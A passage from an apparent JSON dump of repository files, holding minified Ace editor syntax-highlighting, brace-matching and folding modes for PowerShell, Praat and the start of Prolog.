eplace|contains|notcontains|ieq|ine|ige|igt|ile|ilt|ilike|inotlike|imatch|inotmatch|ireplace|icontains|inotcontains|is|isnot|as|and|or|band|bor|not\";this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment.start\",regex:\"<#\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"[$](?:[Tt]rue|[Ff]alse)\\\\b\"},{token:\"constant.language\",regex:\"[$][Nn]ull\\\\b\"},{token:\"variable.instance\",regex:\"[$][a-zA-Z][a-zA-Z0-9_]*\\\\b\"},{token:n,regex:\"[a-zA-Z_$][a-zA-Z0-9_$\\\\-]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\-(?:\"+r+\")\"},{token:\"keyword.operator\",regex:\"&|\\\\*|\\\\+|\\\\-|\\\\=|\\\\+=|\\\\-=\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment.end\",regex:\"#>\",next:\"start\"},{token:\"doc.comment.tag\",regex:\"^\\\\.\\\\w+\"},{token:\"comment\",regex:\"\\\\w+\"},{token:\"comment\",regex:\".\"}]}};r.inherits(s,i),t.PowershellHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/powershell\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/powershell_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./powershell_highlight_rules\").PowershellHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a({start:\"^\\\\s*(<#)\",end:\"^[#\\\\s]>\\\\s*$\"})};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.blockComment={start:\"<#\",end:\"#>\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){return null},this.$id=\"ace/mode/powershell\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-praat.js",
    "content": "ace.define(\"ace/mode/praat_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"if|then|else|elsif|elif|endif|fi|endfor|endproc|while|endwhile|repeat|until|select|plus|minus|assert|asserterror\",t=\"macintosh|windows|unix|praatVersion|praatVersion\\\\$pi|undefined|newline\\\\$|tab\\\\$|shellDirectory\\\\$|homeDirectory\\\\$|preferencesDirectory\\\\$|temporaryDirectory\\\\$|defaultDirectory\\\\$\",n=\"clearinfo|endSendPraat\",r=\"writeInfo|writeInfoLine|appendInfo|appendInfoLine|info\\\\$|writeFile|writeFileLine|appendFile|appendFileLine|abs|round|floor|ceiling|min|max|imin|imax|sqrt|sin|cos|tan|arcsin|arccos|arctan|arctan2|sinc|sincpi|exp|ln|lnBeta|lnGamma|log10|log2|sinh|cosh|tanh|arcsinh|arccosh|arctanh|sigmoid|invSigmoid|erf|erfc|random(?:Uniform|Integer|Gauss|Poisson|Binomial)|gaussP|gaussQ|invGaussQ|incompleteGammaP|incompleteBeta|chiSquareP|chiSquareQ|invChiSquareQ|studentP|studentQ|invStudentQ|fisherP|fisherQ|invFisherQ|binomialP|binomialQ|invBinomialP|invBinomialQ|hertzToBark|barkToHerz|hertzToMel|melToHertz|hertzToSemitones|semitonesToHerz|erb|hertzToErb|erbToHertz|phonToDifferenceLimens|differenceLimensToPhon|soundPressureToPhon|beta|beta2|besselI|besselK|numberOfColumns|numberOfRows|selected|selected\\\\$|numberOfSelected|variableExists|index|rindex|startsWith|endsWith|index_regex|rindex_regex|replace_regex\\\\$|length|extractWord\\\\$|extractLine\\\\$|extractNumber|left\\\\$|right\\\\$|mid\\\\$|replace\\\\$|date\\\\$|fixed\\\\$|percent\\\\$|zero#|linear#|randomUniform#|randomInteger#|randomGauss#|beginPause|endPause|demoShow|demoWindowTitle|demoInput|demoWaitForInput|demoClicked|demoClickedIn|demoX|demoY|demoKeyPressed|demoKey\\\\$|demoExtraControlKeyPressed|demoShiftKeyPressed|demoCommandKeyPressed|demoOptionKeyPressed|environment\\\\$|chooseReadFile\\\\$|chooseDirectory\\\\$|createDirectory|fileReadable|deleteFile|selectObject|removeObject|plusObject|minusObject|runScript|exitScript|beginSendPraat|endSendPraat|objectsAreIdentical\",i=\"Activation|AffineTransform|AmplitudeTier|Art|Artword|Autosegment|BarkFilter|CCA|Categories|Cepstrum|Cepstrumc|ChebyshevSeries|ClassificationTable|Cochleagram|Collection|Configuration|Confusion|ContingencyTable|Corpus|Correlation|Covariance|CrossCorrelationTable|CrossCorrelationTables|DTW|Diagonalizer|Discriminant|Dissimilarity|Distance|Distributions|DurationTier|EEG|ERP|ERPTier|Eigen|Excitation|Excitations|ExperimentMFC|FFNet|FeatureWeights|Formant|FormantFilter|FormantGrid|FormantPoint|FormantTier|GaussianMixture|HMM|HMM_Observation|HMM_ObservationSequence|HMM_State|HMM_StateSequence|Harmonicity|ISpline|Index|Intensity|IntensityTier|IntervalTier|KNN|KlattGrid|KlattTable|LFCC|LPC|Label|LegendreSeries|LinearRegression|LogisticRegression|LongSound|Ltas|MFCC|MSpline|ManPages|Manipulation|Matrix|MelFilter|MixingMatrix|Movie|Network|OTGrammar|OTHistory|OTMulti|PCA|PairDistribution|ParamCurve|Pattern|Permutation|Pitch|PitchTier|PointProcess|Polygon|Polynomial|Procrustes|RealPoint|RealTier|ResultsMFC|Roots|SPINET|SSCP|SVD|Salience|ScalarProduct|Similarity|SimpleString|SortedSetOfString|Sound|Speaker|Spectrogram|Spectrum|SpectrumTier|SpeechSynthesizer|SpellingChecker|Strings|StringsIndex|Table|TableOfReal|TextGrid|TextInterval|TextPoint|TextTier|Tier|Transition|VocalTract|Weight|WordList\";this.$rules={start:[{token:\"string.interpolated\",regex:/'((?:[a-z][a-zA-Z0-9_]*)(?:\\$|#|:[0-9]+)?)'/},{token:[\"text\",\"text\",\"keyword.operator\",\"text\",\"keyword\"],regex:/(^\\s*)(?:([a-z][a-zA-Z0-9_]*\\$?\\s+)(=)(\\s+))?(stopwatch)/},{token:[\"text\",\"keyword\",\"text\",\"string\"],regex:/(^\\s*)(print(?:line|tab)?|echo|exit|pause|send(?:praat|socket)|include|execute|system(?:_nocheck)?)(\\s+)(.*)/},{token:[\"text\",\"keyword\"],regex:\"(^\\\\s*)(\"+n+\")$\"},{token:[\"text\",\"keyword.operator\",\"text\"],regex:/(\\s+)((?:\\+|-|\\/|\\*|<|>)=?|==?|!=|%|\\^|\\||and|or|not)(\\s+)/},{token:[\"text\",\"text\",\"keyword.operator\",\"text\",\"keyword\",\"text\",\"keyword\"],regex:/(^\\s*)(?:([a-z][a-zA-Z0-9_]*\\$?\\s+)(=)(\\s+))?(?:((?:no)?warn|(?:unix_)?nocheck|noprogress)(\\s+))?((?:[A-Z][^.:\"]+)(?:$|(?:\\.{3}|:)))/},{token:[\"text\",\"keyword\",\"text\",\"keyword\"],regex:/(^\\s*)(?:(demo)?(\\s+))((?:[A-Z][^.:\"]+)(?:$|(?:\\.{3}|:)))/},{token:[\"text\",\"keyword\",\"text\",\"keyword\"],regex:/^(\\s*)(?:(demo)(\\s+))?(10|12|14|16|24)$/},{token:[\"text\",\"support.function\",\"text\"],regex:/(\\s*)(do\\$?)(\\s*:\\s*|\\s*\\(\\s*)/},{token:\"entity.name.type\",regex:\"(\"+i+\")\"},{token:\"variable.language\",regex:\"(\"+t+\")\"},{token:[\"support.function\",\"text\"],regex:\"((?:\"+r+\")\\\\$?)(\\\\s*(?::|\\\\())\"},{token:\"keyword\",regex:/(\\bfor\\b)/,next:\"for\"},{token:\"keyword\",regex:\"(\\\\b(?:\"+e+\")\\\\b)\"},{token:\"string\",regex:/\"[^\"]*\"/},{token:\"string\",regex:/\"[^\"]*$/,next:\"brokenstring\"},{token:[\"text\",\"keyword\",\"text\",\"entity.name.section\"],regex:/(^\\s*)(\\bform\\b)(\\s+)(.*)/,next:\"form\"},{token:\"constant.numeric\",regex:/\\b[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"keyword\",\"text\",\"entity.name.function\"],regex:/(procedure)(\\s+)(\\S+)/},{token:[\"entity.name.function\",\"text\"],regex:/(@\\S+)(:|\\s*\\()/},{token:[\"text\",\"keyword\",\"text\",\"entity.name.function\"],regex:/(^\\s*)(call)(\\s+)(\\S+)/},{token:\"comment\",regex:/(^\\s*#|;).*$/},{token:\"text\",regex:/\\s+/}],form:[{token:[\"keyword\",\"text\",\"constant.numeric\"],regex:/((?:optionmenu|choice)\\s+)(\\S+:\\s+)([0-9]+)/},{token:[\"keyword\",\"constant.numeric\"],regex:/((?:option|button)\\s+)([+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b)/},{token:[\"keyword\",\"string\"],regex:/((?:option|button)\\s+)(.*)/},{token:[\"keyword\",\"text\",\"string\"],regex:/((?:sentence|text)\\s+)(\\S+\\s*)(.*)/},{token:[\"keyword\",\"text\",\"string\",\"invalid.illegal\"],regex:/(word\\s+)(\\S+\\s*)(\\S+)?(\\s.*)?/},{token:[\"keyword\",\"text\",\"constant.language\"],regex:/(boolean\\s+)(\\S+\\s*)(0|1|\"?(?:yes|no)\"?)/},{token:[\"keyword\",\"text\",\"constant.numeric\"],regex:/((?:real|natural|positive|integer)\\s+)(\\S+\\s*)([+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b)/},{token:[\"keyword\",\"string\"],regex:/(comment\\s+)(.*)/},{token:\"keyword\",regex:\"endform\",next:\"start\"}],\"for\":[{token:[\"keyword\",\"text\",\"constant.numeric\",\"text\"],regex:/(from|to)(\\s+)([+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?)(\\s*)/},{token:[\"keyword\",\"text\"],regex:/(from|to)(\\s+\\S+\\s*)/},{token:\"text\",regex:/$/,next:\"start\"}],brokenstring:[{token:[\"text\",\"string\"],regex:/(\\s*\\.{3})([^\"]*)/},{token:\"string\",regex:/\"/,next:\"start\"}]}};r.inherits(s,i),t.PraatHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/praat\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/praat_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./praat_highlight_rules\").PraatHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/praat\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-prolog.js",
    "content": "ace.define(\"ace/mode/prolog_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#comment\"},{include:\"#basic_fact\"},{include:\"#rule\"},{include:\"#directive\"},{include:\"#fact\"}],\"#atom\":[{token:\"constant.other.atom.prolog\",regex:\"\\\\b[a-z][a-zA-Z0-9_]*\\\\b\"},{token:\"constant.numeric.prolog\",regex:\"-?\\\\d+(?:\\\\.\\\\d+)?\"},{include:\"#string\"}],\"#basic_elem\":[{include:\"#comment\"},{include:\"#statement\"},{include:\"#constants\"},{include:\"#operators\"},{include:\"#builtins\"},{include:\"#list\"},{include:\"#atom\"},{include:\"#variable\"}],\"#basic_fact\":[{token:[\"entity.name.function.fact.basic.prolog\",\"punctuation.end.fact.basic.prolog\"],regex:\"([a-z]\\\\w*)(\\\\.)\"}],\"#builtins\":[{token:\"support.function.builtin.prolog\",regex:\"\\\\b(?:abolish|abort|ancestors|arg|ascii|assert[az]|atom(?:ic)?|body|char|close|conc|concat|consult|define|definition|dynamic|dump|fail|file|free|free_proc|functor|getc|goal|halt|head|head|integer|length|listing|match_args|member|next_clause|nl|nonvar|nth|number|cvars|nvars|offset|op|print?|prompt|putc|quoted|ratom|read|redefine|rename|retract(?:all)?|see|seeing|seen|skip|spy|statistics|system|tab|tell|telling|term|time|told|univ|unlink_clause|unspy_predicate|var|write)\\\\b\"}],\"#comment\":[{token:[\"punctuation.definition.comment.prolog\",\"comment.line.percentage.prolog\"],regex:\"(%)(.*$)\"},{token:\"punctuation.definition.comment.prolog\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.prolog\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.prolog\"}]}],\"#constants\":[{token:\"constant.language.prolog\",regex:\"\\\\b(?:true|false|yes|no)\\\\b\"}],\"#directive\":[{token:\"keyword.operator.directive.prolog\",regex:\":-\",push:[{token:\"meta.directive.prolog\",regex:\"\\\\.\",next:\"pop\"},{include:\"#comment\"},{include:\"#statement\"},{defaultToken:\"meta.directive.prolog\"}]}],\"#expr\":[{include:\"#comments\"},{token:\"meta.expression.prolog\",regex:\"\\\\(\",push:[{token:\"meta.expression.prolog\",regex:\"\\\\)\",next:\"pop\"},{include:\"#expr\"},{defaultToken:\"meta.expression.prolog\"}]},{token:\"keyword.control.cutoff.prolog\",regex:\"!\"},{token:\"punctuation.control.and.prolog\",regex:\",\"},{token:\"punctuation.control.or.prolog\",regex:\";\"